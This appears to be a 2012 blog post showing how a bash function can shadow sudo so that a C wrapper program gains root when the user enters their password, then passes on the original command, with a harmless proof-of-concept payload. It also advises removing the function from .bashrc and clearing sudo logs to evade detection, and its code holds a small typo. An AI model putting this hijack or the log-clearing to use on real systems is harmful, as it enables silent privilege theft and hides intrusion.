Hijack SUDO
Jonathan Fabrizio - 22/06/12
To finish a small serie on sudo
vulnerabilities, I show in this post that, with a simple trick, it is possible to hook sudo
by taking advantages of bash negligence. It is not really serious - I found this funny and I do not think that it can be a serious threat...
The context
Usually, the usage of sudo
can give privileges to a specific user. The user invokes sudo
and provides to sudo
the command he wants to execute with privileges. But imagine if you hook sudo
, the user believes he launch sudo
but instead, he invokes a special malicious command.
It is impossible : to change sudo
command, you must be root to change /usr/bin
. If you already have such privileges, you do not need to hook sudo
command any more.
The exploit
Well, you think I will change the PATH
. No, it is not inconspicuous. Simple invocation of which
command will reveal the attack. No I must find something better: I will do a simple trick, I will define a function :
function sudo() { /home/jo/tmp/.sudo/mysudo "$@" ;}
Further invocations of sudo
point now on mysudo! And surprisingly, under bash, invocation of which sudo
gives /usr/bin/sudo
and not our function. No where
command either. Our hijack is not visible for the user!
What now ? We simply have to code a clever sudo
...
Look at this simple code:
#include <unistd.h> #include <stdio.h> #include <stdlib.h> void you_are_root(void) { //you win ! FILE *f=fopen("/sudo_exploit.txt", "w"); if (f!=NULL) fclose(f); } int main(int argc, char *argv[]) { if (getuid()==0) { char *argv_n[argc+1]; int i; argv_n[0]="sudo"; you_are_root(); for (i=1;i<argc;i++) argv_n[i]=argv[i]; argv_n[i]=NULL; execvp("sudo", argv_n); exit(0); } else { char *argv_n[argc+2]; int i; argv_n[0]="sudo"; for (i=0;i&ls;argc;i++) argv_n[i+1]=argv[i]; argv_n[i+1]=NULL; execvp("sudo", argv_n); exit(0); } return 0; }
This program will recall itself with the true sudo
. sudo
will ask the password and the user enter its password (as he belives he launch his own command). sudo
validate the password and now mysudo
is called with sudo
privileges. mysudo
can do whatever it wants and after it invokes the inital instruction, expected by the user. mysudo
invoke this initial instruction with sudo
and the correct initial parameters... As mysudo
already has sudo
privileges, sudo
does not ask password again (even if timestamp_timeout=0
) and calls silently the expected instruction with correct privileges... The user do not see that before we ran malicious code!
Once you become root, you must clean the definition of the function (in .bashrc
for exemple) to avoid detection by the user and you must clean log file of sudo, because all action is stored... (even you can improve stupid call to exit(0)
and manage errors from execvp
- but here it is a simple POC).
Protection
Heu ? I don't know. The problem with bash is that even if we define a new function for sudo
, the command which sudo
always gives /usr/bin/sudo
and the user can not see in reality invocation of sudo
will not call sudo
. This is a negligence from bash
. Even, no function where
in bash
. The only think is that the declaration of the function is visible (in .bashrc
for exemple). Simply watch out your configuration files...
Conclusion
It is possible to define a function with same name of a system command. It is normal and practical. However the behaviour of the command which
in bash is not very safe and we have taken advantage of this behaviour to silently hook sudo
. I think, it is not a serious threat as the function definition is clearly visible (in .bashrc
for exemple) but which
command should be improved...
Viewed 5627 times